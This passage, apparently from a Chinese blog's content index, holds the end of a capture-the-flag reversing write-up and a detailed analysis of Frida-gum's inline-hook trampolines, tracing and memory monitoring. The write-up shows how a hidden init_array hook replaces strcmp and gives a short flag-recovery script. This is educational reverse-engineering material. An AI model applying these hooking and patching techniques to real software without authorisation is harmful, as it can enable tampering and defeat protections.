puts("Wrong!"); } else { printf("Usage: %s <FLAG>\\n", *a2); } return 0LL;}\n\n\n    条件明确,要求我们输入的字符串和如下字符串相同\n\nzer0pts{********CENSORED********}\n\n     提交flag发现错误,显然没有那么容易;观察函数列表:\n​\n     从sub_610到sub_795的一系列函数笔记碍眼,不妨一个个看一下,能够发现sub_6EA有着明显的逻辑:\n__int64 __fastcall sub_6EA(__int64 a1, __int64 a2){ int i; // [rsp+18h] [rbp-8h] int v4; // [rsp+18h] [rbp-8h] int j; // [rsp+1Ch] [rbp-4h] for ( i = 0; *(_BYTE *)(i + a1); ++i ) ; v4 = (i >> 3) + 1; for ( j = 0; j < v4; ++j ) *(_QWORD *)(8 * j + a1) -= qword_201060[j]; return qword_201090(a1, a2);}\n\n\n    但当我试图用IDA查看该函数的交叉引用,会发现提示:\n\nCouldn’t find any xrefs!\n\n    那这个函数岂不是没有被用到吗?不被执行还需要分析吗?\n    可以从init函数中找到答案:\nvoid __fastcall init(unsigned int a1, __int64 a2, __int64 a3){ signed __int64 v4; // rbp __int64 i; // rbx v4 = &off_200DF0 - &funcs_889; init_proc(); if ( v4 ) { for ( i = 0LL; i != v4; ++i ) ((void (__fastcall *)(_QWORD, __int64, __int64))*(&funcs_889 + i))(a1, a2, a3); }}\n\n\n    for循环中调用了一系列的函数,而函数地址从funcs_889开始,跟入便能够发现如下内容:\n.init_array:0000000000200DE0 funcs_889 dq offset sub_6E0 ; DATA XREF: LOAD:00000000000000F8↑o.init_array:0000000000200DE0 ; LOAD:0000000000000210↑o ....init_array:0000000000200DE8 dq offset sub_795\n\n\n    分别调用了sub_6E0和sub_795两个函数;上一个倒不值得关注,进入下面的那个看看:\n// write access to const memory has been detected, the output may be wrong!int (**sub_795())(const char *s1, const char *s2){ int (**result)(const char *, const char *); // rax result = &strcmp; qword_201090 = (__int64 (__fastcall *)(_QWORD, _QWORD))&strcmp; off_201028 = sub_6EA; return result;}\n\n\n     可见,off_201028被置为sub_6EA函数地址了\n​\n     可以看到,off_2010288实际上是strcmp函数的地址,但现在它被替换成了sub_6EA\n    因此我们执行strcmp函数时实际上是执行sub_6EA函数\n__int64 __fastcall sub_6EA(__int64 a1, __int64 a2){ int i; // [rsp+18h] [rbp-8h] int v4; // [rsp+18h] [rbp-8h] int j; // [rsp+1Ch] [rbp-4h] for ( i = 0; *(_BYTE *)(i + a1); ++i ) ; v4 = (i >> 3) + 1; for ( j = 0; j < v4; ++j ) *(_QWORD *)(8 * j + a1) -= qword_201060[j]; return qword_201090(a1, a2);}\n\n\n    逻辑:将字符串每8个比特位减去一个数字\n.data:0000000000201060 qword_201060 dq 0, 410A4335494A0942h, 0B0EF2F50BE619F0h, 4F0A3A064A35282Bh\n\n\n     那么解密脚本姑且是能够写出来了\nint main(){char p[] = "zer0pts{********CENSORED********}";uint64 k[4] = { 0, 0x410A4335494A0942, 0x0B0EF2F50BE619F0, 0x4F0A3A064A35282B };for (int i = 0; i < 4; i++){*(uint64*)&(p[i*8]) += k[i];}cout << p;} \n\n\n    但是,我还是好奇这样一个字符串是如何实现大数加减法的,于是单步跟了进去\n    以 0x410A4335494A0942 为例,其二进制表达为:\n\n100 0001 0000 1010 0100 0011 0011 0101 0100 1001 0100 1010 0000 1001 0100 0010\n\n    因为Intel是小端序的,所以从后面往前读\n\n0100 0010——-> 66(十进制)\n\n    而我们的flag变换字符为:\n\n‘*‘ (42)——–>’I’ (108)\n\n    相差正好为66;因此结果也变得显然了:\n    字符串大数相加的实现为:将大数做成多个字节,将每个字节与对应的字符串字符相加(指相同字节位对齐相加,多者溢出) ​\n插图ID:90683044\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Frida-gum 源代码分析解读","url":"/2023/08/28/Frida-gum-%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E8%A7%A3%E8%AF%BB/","content":"前言最近做一些逆向的时候卡住了,感觉自己对 frida 的了解过于浅薄了,由于自己对安全研究的一些坏习惯,因此不读一下 frida 的源码就理解不了它的实现原理,于是直接就拿起来开始看了。(尽管现在做的不是安全研究,但希望这种习惯能延续下去吧。)\n不得不说,frida 的代码写的是真的赏心悦目,像我这样阅读代码的苦手都能大致通过语义理解原理,我只能说,非常有感觉!\n源代码目录Frida 的源代码目录结构按照模块进行区分,本文只选择其中几个笔者认为比较重要的部分进行分析:\n\nfrida-core / frida 的主要功能实现模块\nfrida-gum / 提供 inline hook 、代码跟踪、内存监控、符号查找以及其他多个上层基础设施实现\ngum-js / 为 frida-gum 提供 JavaScript 语言的接口\n\n\n\n出于完整性考虑,笔者也把其他比较重要的模块的介绍贴在这里。如有需要,读者可以自行去深入了解:\n\nfrida-python: Frida Python bindingsfrida-node: Frida Node.js bindingsfrida-qml: Frida Qml pluginfrida-swift: Frida Swift bindingsfrida-tools: Frida CLI tools\n\n本文中,笔者将按照自顶向下的方法去分析对应模块的功能实现。但本篇仅涉及到 Frida-gum部分,Frida-core将在另外一篇文章中介绍。\nfrida-gumfrida-gum 的实现结果是跨架构跨平台的,为此它抽象出了架构无关/平台无关/系统无关的 api 供用户使用。\n该模块中有几个较为关心的子模块:\n\nInterceptor: 提供 inline hook 的封装\nStalker: 用于跟踪指令\nMemoryAccessMonitor: 内存监控\n\nInterceptor我们从测试样例开始:\nTESTLIST_BEGIN (interceptor_arm64)\tTESTENTRY (attach_to_thunk_reading_lr)\tTESTENTRY (attach_to_function_reading_lr)TESTLIST_END ()\n\n样例分为了对部分代码或整体函数进行钩取两种,似乎没什么区别,不妨先从函数开始。\nTESTCASE (attach_to_function_reading_lr){  const gsize code_size_in_pages = 1;  gsize code_size;  GumEmitLrFuncContext ctx;  code_size = code_size_in_pages * gum_query_page_size ();  ctx.code = gum_alloc_n_pages (code_size_in_pages, GUM_PAGE_RW);  ctx.run = NULL;  ctx.func = NULL;  ctx.caller_lr = 0;  gum_memory_patch_code (ctx.code, code_size, gum_emit_lr_func, &ctx);  g_assert_cmphex (ctx.run (), ==, ctx.caller_lr);  interceptor_fixture_attach (fixture, 0, ctx.func, '>', '<');  g_assert_cmphex (ctx.run (), !=, ctx.caller_lr);  g_assert_cmpstr (fixture->result->str, ==, "><");  interceptor_fixture_detach (fixture, 0);  gum_free_pages (ctx.code);}\n\nfrida 从 interceptor_fixture_attach 函数开始去 hook 对应函数,向下跟进可以找到实现函数:\nstatic GumAttachReturninterceptor_fixture_try_attach (InterceptorFixture * h, guint listener_index, gpointer test_func, gchar enter_char, gchar leave_char){ GumAttachReturn result; Arm64ListenerContext * ctx; ctx = h->listener_context[listener_index]; if (ctx != NULL) { arm64_listener_context_free (ctx); h->listener_context[listener_index] = NULL; } ctx = g_slice_new0 (Arm64ListenerContext); ctx->listener = test_callback_listener_new (); ctx->listener->on_enter = (TestCallbackListenerFunc) arm64_listener_context_on_enter; ctx->listener->on_leave = (TestCallbackListenerFunc) arm64_listener_context_on_leave; ctx->listener->user_data = ctx; ctx->fixture = h; ctx->enter_char = enter_char; ctx->leave_char = leave_char; result = gum_interceptor_attach (h->interceptor, test_func, GUM_INVOCATION_LISTENER (ctx->listener), NULL); if (result == GUM_ATTACH_OK) { h->listener_context[listener_index] = ctx; } else { arm64_listener_context_free (ctx); } return result;}\n\n可以注意到,其中 on_enter 和 on_leave 是可以由用户自行重载的。然后再从 gum_interceptor_attach 进入,该函数包括了布置 hook 并启动 hook 的任务:\nGumAttachReturngum_interceptor_attach (GumInterceptor * self, gpointer function_address, GumInvocationListener * listener, gpointer listener_function_data){ GumAttachReturn result = GUM_ATTACH_OK; GumFunctionContext * function_ctx; GumInstrumentationError error; gum_interceptor_ignore_current_thread (self); GUM_INTERCEPTOR_LOCK (self); gum_interceptor_transaction_begin (&self->current_transaction); self->current_transaction.is_dirty = TRUE;//1. 获得需要钩取的函数地址 function_address = gum_interceptor_resolve (self, function_address);//2. 此处用于构造跳板、布置 hook,并将该函数抽象为一个 ctx 结构体//后续对该函数的引用都将使用 ctx 指代该函数 function_ctx = gum_interceptor_instrument (self, GUM_INTERCEPTOR_TYPE_DEFAULT, function_address, &error); if (function_ctx == NULL) goto instrumentation_error;//3. 添加监听器 if (gum_function_context_has_listener (function_ctx, listener)) goto already_attached; gum_function_context_add_listener (function_ctx, listener, listener_function_data); goto beach;instrumentation_error: { switch (error) { case GUM_INSTRUMENTATION_ERROR_WRONG_SIGNATURE: result = GUM_ATTACH_WRONG_SIGNATURE; break; case GUM_INSTRUMENTATION_ERROR_POLICY_VIOLATION: result = GUM_ATTACH_POLICY_VIOLATION; break; case GUM_INSTRUMENTATION_ERROR_WRONG_TYPE: result = GUM_ATTACH_WRONG_TYPE; break; default: g_assert_not_reached (); } goto beach; }already_attached: { result = GUM_ATTACH_ALREADY_ATTACHED; goto beach; }beach: {//4. 注入跳板 gum_interceptor_transaction_end (&self->current_transaction); GUM_INTERCEPTOR_UNLOCK (self); gum_interceptor_unignore_current_thread (self); return result; }}\n\n笔者已经在上述代码的诸事中大致描述了关键部分的代码功能,在这里需要为此做一些额外说明。\n所谓 inline hook 的工作原理是:将函数开头的指令替换为跳转指令,使得函数在执行时先跳转到 hook 到 on_entry 函数中,然后再从中返回执行原函数。\n其中,用于从函数开头跳转到 on_entry 中的指令被称之为 跳板,而构造跳板首先需要获得 hook 函数在内存中的地址。这个操作在本文中不会详细介绍,若读者有兴趣了解原理可以自行阅读代码。\n而监听器(Listener)的作用则是一个用于记录相关监视数据的结构体,对于已经被 hook 过的函数是不需要添加两个监听器的。\n接下来我们跟入 gum_interceptor_instrument :\nstatic GumFunctionContext *gum_interceptor_instrument (GumInterceptor * self, GumInterceptorType type, gpointer function_address, GumInstrumentationError * error){ GumFunctionContext * ctx; *error = GUM_INSTRUMENTATION_ERROR_NONE;//1. 获得需要 hook 的函数对象//该对象在第一次调用 gum_interceptor_instrument 进行初始化入表//此处由于第一次调用的缘故,在表里查询不到 ctx//因此会继续往下器创建该 ctx ctx = (GumFunctionContext *) g_hash_table_lookup (self->function_by_address, function_address); if (ctx != NULL) { if (ctx->type != type) { *error = GUM_INSTRUMENTATION_ERROR_WRONG_TYPE; return NULL; } return ctx; } if (self->backend == NULL) {//2. 构造三级跳板 self->backend = _gum_interceptor_backend_create (&self->mutex, &self->allocator); }//3. 初始化 ctx ctx = gum_function_context_new (self, function_address, type); if (gum_process_get_code_signing_policy () == GUM_CODE_SIGNING_REQUIRED) { if (!_gum_interceptor_backend_claim_grafted_trampoline (self->backend, ctx)) goto policy_violation; } else {//4. 构造二级跳板 if (!_gum_interceptor_backend_create_trampoline (self->backend, ctx)) goto wrong_signature; }//5. 函数入表,表示已经完成基本操作 g_hash_table_insert (self->function_by_address, function_address, ctx);//6. 添加任务,设置回调函数 gum_interceptor_activate 用于激活跳板 gum_interceptor_transaction_schedule_update (&self->current_transaction, ctx, gum_interceptor_activate); return ctx;policy_violation: { *error = GUM_INSTRUMENTATION_ERROR_POLICY_VIOLATION; goto propagate_error; }wrong_signature: { *error = GUM_INSTRUMENTATION_ERROR_WRONG_SIGNATURE; goto propagate_error; }propagate_error: { gum_function_context_finalize (ctx); return NULL; }}\n\n在注释中,笔者提到了二级跳板和三级跳板,那么一级跳板是什么?\n一级跳板其实就是函数开头的跳转指令,该指令将会让程序跳转到二级跳板中,而二级跳板会转入三级跳板,最后由三级跳板分发,选择用户提供的 on_entry 函数进行调用。\n_gum_interceptor_backend_create首先创建的是三级跳板,因此我们跟到 _gum_interceptor_backend_create 里看看它是如何实现的。该函数是平台相关的具体函数,由于笔者打算分析 arm64 下的实现,因此这里的源代码应为 frida-gum/gum/backend-arm64/guminterceptor-arm64.c:\nGumInterceptorBackend *_gum_interceptor_backend_create (GRecMutex * mutex, GumCodeAllocator * allocator){ GumInterceptorBackend * backend; backend = g_slice_new0 (GumInterceptorBackend); backend->mutex = mutex; backend->allocator = allocator; if (gum_process_get_code_signing_policy () == GUM_CODE_SIGNING_OPTIONAL) { gum_arm64_writer_init (&backend->writer, NULL); gum_arm64_relocator_init (&backend->relocator, NULL, &backend->writer); gum_interceptor_backend_create_thunks (backend); } return backend;}\n\n跟入 gum_interceptor_backend_create_thunks :\nstatic voidgum_interceptor_backend_create_thunks (GumInterceptorBackend * self){ gsize page_size, code_size; page_size = gum_query_page_size (); code_size = page_size; self->thunks = gum_memory_allocate (NULL, code_size, page_size, GUM_PAGE_RW); gum_memory_patch_code (self->thunks, 1024, (GumMemoryPatchApplyFunc) gum_emit_thunks, self);}\n\n此处通过调用 gum_memory_patch_code 把 gum_emit_thunks 的实现写入到 self->thunks 中,因此我们这里跟入 gum_emit_thunks :\nstatic voidgum_emit_thunks (gpointer mem, GumInterceptorBackend * self){ GumArm64Writer * aw = &self->writer; self->enter_thunk = self->thunks; gum_arm64_writer_reset (aw, mem); aw->pc = GUM_ADDRESS (self->enter_thunk); gum_emit_enter_thunk (aw);//1. 此处创建三级跳板 enter_thunk gum_arm64_writer_flush (aw); self->leave_thunk = (guint8 *) self->enter_thunk + gum_arm64_writer_offset (aw); gum_emit_leave_thunk (aw);//2. 此处创建三级跳板 leave_thunk gum_arm64_writer_flush (aw);}\n\n此处涉及到了具体的三级跳板的创建,分别由 gum_emit_enter_thunk 和 gum_emit_leave_thunk 完成,这里笔者先从 gum_emit_enter_thunk 进行分析:\nstatic voidgum_emit_enter_thunk (GumArm64Writer * aw){ gum_emit_prolog (aw);//1. 保存上下文信息//2. add x1,sp,0 gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X1, ARM64_REG_SP, GUM_FRAME_OFFSET_CPU_CONTEXT);//3. add x2,sp,G_STRUCT_OFFSET (GumCpuContext, lr) gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X2, ARM64_REG_SP, GUM_FRAME_OFFSET_CPU_CONTEXT + G_STRUCT_OFFSET (GumCpuContext, lr));//4. add x3,sp,sizeof (GumCpuContext) gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X3, ARM64_REG_SP, GUM_FRAME_OFFSET_NEXT_HOP);//5. call _gum_function_context_begin_invocation(x17,x1,x2,x3) gum_arm64_writer_put_call_address_with_arguments (aw, GUM_ADDRESS (_gum_function_context_begin_invocation), 4, GUM_ARG_REGISTER, ARM64_REG_X17, GUM_ARG_REGISTER, ARM64_REG_X1, GUM_ARG_REGISTER, ARM64_REG_X2, GUM_ARG_REGISTER, ARM64_REG_X3); gum_emit_epilog (aw);}\n\n此处主要负责调用四级跳板 _gum_function_context_begin_invocation 并进行传参,跟入该函数:\nvoid_gum_function_context_begin_invocation (GumFunctionContext * function_ctx, GumCpuContext * cpu_context, gpointer * caller_ret_addr, gpointer * next_hop)\n\n注意,此处第三个参数 caller_ret_addr 代表的是被 hook 函数用于储存返回地址的内存地址,而第四个参数则是四级跳板返回时执行的下一个函数地址。\n稍微向下看看函数的实现:(省略部分)\n//1. 如果替换了函数实现,或注册了 on_leave 则设置 will_trap_on_leave will_trap_on_leave = function_ctx->replacement_function != NULL || (invoke_listeners && function_ctx->has_on_leave_listener); if (will_trap_on_leave) {//2. 如果设置了 will_trap_on_leave,就需要保存原本的返回地址,这样在 on_leave 时能给正确返回 stack_entry = gum_invocation_stack_push (stack, function_ctx, *caller_ret_addr); invocation_ctx = &stack_entry->invocation_context; } else if (invoke_listeners) {//3. 如果没设置 will_trap_on_leave,但有注册 linsters,那么在这里把原本的函数地址保存到栈里 stack_entry = gum_invocation_stack_push (stack, function_ctx, function_ctx->function_address); invocation_ctx = &stack_entry->invocation_context; }\n\n这里不难理解:\n\n如果我们替换了函数实现,或者设置了 on_leave ,那么在返回以前到原本的执行流之前就需要先保存当前的返回内容,它会在后续被用于指向正确的返回地址。\n如果我们只是想钩一些调用点,那么执行流应该从这里返回到原本的函数去恢复执行。\n\n此处只是先在栈中保存数据。\n然后接下来会调用注册的 on_enter:\nif (listener_entry->listener_interface->on_enter != NULL){ listener_entry->listener_interface->on_enter ( listener_entry->listener_instance, invocation_ctx);}\n\n后续过程中:\nif (will_trap_on_leave){ *caller_ret_addr = function_ctx->on_leave_trampoline;}if (function_ctx->replacement_function != NULL){ stack_entry->calling_replacement = TRUE; stack_entry->cpu_context = *cpu_context; stack_entry->original_system_error = system_error; invocation_ctx->cpu_context = &stack_entry->cpu_context; invocation_ctx->backend = &interceptor_ctx->replacement_backend; invocation_ctx->backend->data = function_ctx->replacement_data; *next_hop = function_ctx->replacement_function;}else{ *next_hop = function_ctx->on_invoke_trampoline;}\n\n可以看到此处会将 on_leave_trampoline 二级跳板写入到用于储存返回地址的内存中去。也就是说被 hook 函数在执行完毕以后会返回到 on_leave_trampoline 。\n然后如果需要替换函数实现,那么就要把用于替换的实现代码地址写入当前函数的返回地址去,否则就将跳板注入进去。\n因此在该函数结束后会根据这一步选择接下来是执行 function_ctx->replacement_function 还是 function_ctx->on_invoke_trampoline 。\n前者就不难理解了,接下来就是调用我们自己实现的函数,并在返回的时候回到二级跳板。\n我们看看后者的实现:\n(gdb) x/17i function_ctx->on_invoke_trampoline 0x7fb6c82a30:\tstp\tx29, x30, [sp, #-16]! 0x7fb6c82a34:\tmov\tx29, sp 0x7fb6c82a38:\tsub\tsp, sp, #0x10 0x7fb6c82a3c:\tmov\tx8, #0x0 \t// #0 0x7fb6c82a40:\tldr\tx16, 0x7fb6c82a48 0x7fb6c82a44:\tbr\tx16 0x7fb6c82a48:\tcbnz\tx12, 0x7fb6cb7ae8//执行原本的函数\n\n此处用于调用原本的函数。\n这里我们留个疑问,先不管二级跳板 on_leave_trampoline 的实现是什么,现在再跟一下 leave_chunk:\nstatic voidgum_emit_leave_thunk (GumArm64Writer * aw){ gum_emit_prolog (aw); gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X1, ARM64_REG_SP, GUM_FRAME_OFFSET_CPU_CONTEXT); gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X2, ARM64_REG_SP, GUM_FRAME_OFFSET_NEXT_HOP); gum_arm64_writer_put_call_address_with_arguments (aw, GUM_ADDRESS (_gum_function_context_end_invocation), 3, GUM_ARG_REGISTER, ARM64_REG_X17, GUM_ARG_REGISTER, ARM64_REG_X1, GUM_ARG_REGISTER, ARM64_REG_X2); gum_emit_epilog (aw);}\n\n和前一个 chunk 的结构差不多,我们跟入 _gum_function_context_end_invocation :\nvoid_gum_function_context_end_invocation (GumFunctionContext * function_ctx, GumCpuContext * cpu_context, gpointer * next_hop){ gint system_error; InterceptorThreadContext * interceptor_ctx; GumInvocationStackEntry * stack_entry; GumInvocationContext * invocation_ctx; GPtrArray * listener_entries; guint i;#ifdef HAVE_WINDOWS system_error = gum_thread_get_system_error ();#endif gum_tls_key_set_value (gum_interceptor_guard_key, function_ctx->interceptor);#ifndef HAVE_WINDOWS system_error = gum_thread_get_system_error ();#endif interceptor_ctx = get_interceptor_thread_context (); stack_entry = gum_invocation_stack_peek_top (interceptor_ctx->stack);//1. 此处将函数返回时的地址设置为真正的返回值。该值在 enter_chunk 中被保存 *next_hop = gum_sign_code_pointer (stack_entry->caller_ret_addr);//此处省略......#ifndef GUM_DIET if (listener_entry->listener_interface->on_leave != NULL) {//2. 此处调用注册的 on_leave listener_entry->listener_interface->on_leave ( listener_entry->listener_instance, invocation_ctx); }}\n\n接下来回到最开始我们跳过的地方,按照代码的顺序,其实在完成上述跳板设置以后才开始准备二级跳板:\ngboolean_gum_interceptor_backend_create_trampoline (GumInterceptorBackend * self, GumFunctionContext * ctx){ ctx->on_enter_trampoline = gum_sign_code_pointer (gum_arm64_writer_cur (aw));//此处省略 gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X17, GUM_ADDRESS (ctx)); gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X16, GUM_ADDRESS (gum_sign_code_pointer (self->enter_thunk))); gum_arm64_writer_put_br_reg (aw, ARM64_REG_X16); ctx->on_leave_trampoline = gum_arm64_writer_cur (aw); gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X17, GUM_ADDRESS (ctx)); gum_arm64_writer_put_ldr_reg_address (aw, ARM64_REG_X16, GUM_ADDRESS (gum_sign_code_pointer (self->leave_thunk))); gum_arm64_writer_put_br_reg (aw, ARM64_REG_X16); gum_arm64_writer_flush (aw);//(6) g_assert (gum_arm64_writer_offset (aw) <= ctx->trampoline_slice->size); ctx->on_invoke_trampoline = gum_sign_code_pointer (gum_arm64_writer_cur (aw));\n\n该代码大致会实现如下结构:\non_enter_trampoline:ldr x17 context_addrldr x16 enter_thunkbr x16on_leave_trampoline:ldr x17 context_addrldr x16 leave_thunkbr x16//处写入代码,下面三个字存放地址context_addr:.dword addressenter_thunk:.dword addressleave_thunk:.dword addresson_invoke_trampoline:\n\n到这一步其实流程就清晰很多了。\n\n一级跳板进入到二级跳板 on_enter_trampoline\n二级跳板再跳转到三级跳板 enter_thunk\n三级跳板中再调用四级跳板 _gum_function_context_begin_invocation\n四级跳板将会调用注册的 on_enter 函数,并设置真正的返回地址,同时决定接下来要执行谁\n如果执行 on_invoke_trampoline ,那么将调用原本的函数\n否则将会调用我们用于替换的函数\n\n\n接下来执行流将返回到 on_leave_trampoline\n然后从该处跳转入三级跳板 leave_thunk\n再从三级跳板进入四级跳板 _gum_function_context_end_invocation\n在四级跳板中,将恢复真正的返回地址,并调用注册好的 on_leave 函数,最后从中返回\n\n而如果用户没有注册 on_leave 函数,那么钩子的步骤将会减少很多。在 _gum_function_context_begin_invocation 中将不会修改真正的返回地址,并直接让 next_hop 设置为 on_invoke_trampoline ,此时程序将直接离开钩子,因为后续不会再进入到 leave_chunk 了。\n额外的问题在上文中可以发现,几个跳板的实现其实是走了固定的寄存器的。因此如果程序本身本来就要使用这两个寄存器进行工作的话,去 hook 那些函数会导致非预期的结果。这个地方可能需要注意一下吧,毕竟大多数时候使用 frida 感觉 hook 基本上都是透明的,容易忽略到这种级别的问题。\nStalker其实笔者没怎么用过这个功能,它所实现的 “代码跟踪” 能力其实和调试器差不多,而如果能使用调试器进行调试的话,大部分问题其实都能解决,而就算不能使用调试器,靠 frida 的 hook 也能解决不少问题了,这导致笔者基本上没用过它。\n不过没用过不影响看看原理。因为 Stalker 是靠代码插桩的方式实现跟踪的,这和事情的 Interceptor 有点相似。\nStalker 的测试样例就比较多了,但我们只想对源代码的实现有所了解,因此不需要每个都看,选几个比较有意思的就行。这里笔者选了 TESTENTRY(call) 作为分析样例:\nTESTCASE (call){ StalkerTestFunc func; GumCallEvent * ev; func = invoke_flat (fixture, GUM_CALL); g_assert_cmpuint (fixture->sink->events->len, ==, 2); g_assert_cmpint (g_array_index (fixture->sink->events, GumEvent, 0).type, ==, GUM_CALL); ev = &g_array_index (fixture->sink->events, GumEvent, 0).call; GUM_ASSERT_CMPADDR (ev->location, ==, fixture->last_invoke_calladdr); GUM_ASSERT_CMPADDR (ev->target, ==, gum_strip_code_pointer (func));}\n\n关键的实现在 invoke_flat 中,这里我们跟入:invoke_flat - invoke_flat_expecting_return_value\nstatic StalkerTestFuncinvoke_flat_expecting_return_value (TestArm64StalkerFixture * fixture, GumEventType mask, guint expected_return_value){ StalkerTestFunc func; gint ret; func = (StalkerTestFunc) test_arm64_stalker_fixture_dup_code (fixture, flat_code, sizeof (flat_code)); fixture->sink->mask = mask; ret = test_arm64_stalker_fixture_follow_and_invoke (fixture, func, -1); g_assert_cmpint (ret, ==, expected_return_value); return func;}\n\n再跟入 test_arm64_stalker_fixture_follow_and_invoke:\nstatic ginttest_arm64_stalker_fixture_follow_and_invoke (TestArm64StalkerFixture * fixture, StalkerTestFunc func, gint arg){ GumAddressSpec spec; guint8 * code; GumArm64Writer cw; gint ret; GCallback invoke_func; spec.near_address = gum_strip_code_pointer (gum_stalker_follow_me); spec.max_distance = G_MAXINT32 / 2;//1. 创建新代码页用来储存接下来将要生成的代码 code = gum_alloc_n_pages_near (1, GUM_PAGE_RW, &spec); gum_arm64_writer_init (&cw, code);//2. 保存寄存器 gum_arm64_writer_put_push_reg_reg (&cw, ARM64_REG_X29, ARM64_REG_X30); gum_arm64_writer_put_mov_reg_reg (&cw, ARM64_REG_X29, ARM64_REG_SP);//3. 调用 gum_stalker_follow_me gum_arm64_writer_put_call_address_with_arguments (&cw, GUM_ADDRESS (gum_stalker_follow_me), 3, GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->stalker), GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->transformer), GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->sink)); /* call function -int func(int x)- and save address before and after call */ gum_arm64_writer_put_ldr_reg_address (&cw, ARM64_REG_X0, GUM_ADDRESS (arg)); fixture->last_invoke_calladdr = gum_arm64_writer_cur (&cw);//4. 调用原本的代码 gum_arm64_writer_put_call_address_with_arguments (&cw, GUM_ADDRESS (func), 0); fixture->last_invoke_retaddr = gum_arm64_writer_cur (&cw); gum_arm64_writer_put_ldr_reg_address (&cw, ARM64_REG_X1, GUM_ADDRESS (&ret)); gum_arm64_writer_put_str_reg_reg_offset (&cw, ARM64_REG_W0, ARM64_REG_X1, 0);//5. 取消跟踪 gum_arm64_writer_put_call_address_with_arguments (&cw, GUM_ADDRESS (gum_stalker_unfollow_me), 1, GUM_ARG_ADDRESS, GUM_ADDRESS (fixture->stalker)); gum_arm64_writer_put_pop_reg_reg (&cw, ARM64_REG_X29, ARM64_REG_X30); gum_arm64_writer_put_ret (&cw); gum_arm64_writer_flush (&cw); gum_memory_mark_code (cw.base, gum_arm64_writer_offset (&cw)); gum_arm64_writer_clear (&cw); invoke_func = GUM_POINTER_TO_FUNCPTR (GCallback, gum_sign_code_pointer (code)); invoke_func (); gum_free_pages (code); return ret;}\n\n逻辑比较清晰,相当于将原本的代码注入到另外一片内存,然后对其进行插桩执行,并在插桩代码中记录覆盖率相关的信息。这里我们先从 gum_stalker_follow_me 开始,它是一个由汇编实现的函数:\n#ifdef __APPLE__ .globl _gum_stalker_follow_me_gum_stalker_follow_me:#else .globl gum_stalker_follow_me .type gum_stalker_follow_me, %functiongum_stalker_follow_me:#endif stp x29, x30, [sp, -16]! mov x29, sp mov x3, x30#ifdef __APPLE__ bl __gum_stalker_do_follow_me#else bl _gum_stalker_do_follow_me#endif ldp x29, x30, [sp], 16 br x0\n\n此处对于 Apple 架构和其他架构选用了两个不同的函数,不过我在源代码中并没有找到 __gum_stalker_do_follow_me 的声明或实现,这里我们将就这用 _gum_stalker_do_follow_me 进行理解吧:\ngpointer_gum_stalker_do_follow_me (GumStalker * self, GumStalkerTransformer * transformer, GumEventSink * sink, gpointer ret_addr){ GumExecCtx * ctx; gpointer code_address; ctx = gum_stalker_create_exec_ctx (self, gum_process_get_current_thread_id (), transformer, sink); g_private_set (&gum_stalker_exec_ctx_private, ctx); ctx->current_block = gum_exec_ctx_obtain_block_for (ctx, ret_addr, &code_address); if (gum_exec_ctx_maybe_unfollow (ctx, ret_addr)) { gum_stalker_destroy_exec_ctx (self, ctx); return ret_addr; } gum_event_sink_start (ctx->sink); ctx->sink_started = TRUE; return code_address + GUM_RESTORATION_PROLOG_SIZE;}\n\n关键内容跟入 gum_event_sink_start ,里面是用于记录覆盖率信息的具体函数,分别有两套实现,一套是用 quickjs ,另外一套是 v8 的实现,细节这里笔者就不深究了,大致逻辑如图:\n\n内存监控这部分内容也不是笔者关心的重点,但笔者找了一圈似乎没找到 arm64 下的实现,倒是有 x86 平台下的测试样例。因此本文也就不过多赘述了,大致原理就是设置内存页的读写权限,从而在读写监控页面的时候引发中断来监视内容。\n实现的内容分了 Windows 平台和 posix 平台两种,如下代码为 posix 平台:\nGumMemoryAccessMonitor *gum_memory_access_monitor_new (const GumMemoryRange * ranges, guint num_ranges, GumPageProtection access_mask, gboolean auto_reset, GumMemoryAccessNotify func, gpointer data, GDestroyNotify data_destroy){ GumMemoryAccessMonitor * monitor; guint i; monitor = g_object_new (GUM_TYPE_MEMORY_ACCESS_MONITOR, NULL); monitor->ranges = g_memdup (ranges, num_ranges * sizeof (GumMemoryRange)); monitor->num_ranges = num_ranges; monitor->access_mask = access_mask; monitor->auto_reset = auto_reset; monitor->pages_total = 0; for (i = 0; i != num_ranges; i++) { GumMemoryRange * r = &monitor->ranges[i]; gsize aligned_start, aligned_end; guint num_pages; aligned_start = r->base_address & ~((gsize) monitor->page_size - 1); aligned_end = (r->base_address + r->size + monitor->page_size - 1) & ~((gsize) monitor->page_size - 1); r->base_address = aligned_start; r->size = aligned_end - aligned_start; num_pages = r->size / monitor->page_size; g_atomic_int_add (&monitor->pages_remaining, num_pages); monitor->pages_total += num_pages; } monitor->notify_func = func; monitor->notify_data = data; monitor->notify_data_destroy = data_destroy; return monitor;}\n\ngbooleangum_memory_access_monitor_enable (GumMemoryAccessMonitor * self, GError ** error){ if (self->enabled) return TRUE; // ... self->exceptor = gum_exceptor_obtain (); gum_exceptor_add (self->exceptor, gum_memory_access_monitor_on_exception, self); // ...}\n\ngum-js这部分主要是做一个扫盲。细节可以参考 evilpan 大佬的文章,里面也大致介绍了 gum-js 的实现。\n简单来说就说,V8 支持对 JavaScript 的动态解析,并能够将其抽象到 C 语言层面进行调用。\nLocal<String> attach_name = String::NewFromUtf8Literal(GetIsolate(), "Attach");// 判断对象是否存在,以及类型是否是函数Local<Value> attach_val;if (!context->Global()->Get(context, attach_name).ToLocal(&attach_val) || !attach_val->IsFunction()) { return false;}// 如果是,则转换为函数类型Local<Function> attach_func = attach_val.As<Function>();// 将调用参数封装为 JS 对象Local<Object> obj = templ->NewInstance(GetIsolate()->GetCurrentContext()).ToLocalChecked();obj->SetInternalField(0, 0xdeadbeef);// 使用自定义的参数调用该 JS 函数,并获取返回结果TryCatch try_catch(GetIsolate());const int argc = 1;Local<Value> argv[argc] = {obj};Local<Value> result;attach_func->Call(context, 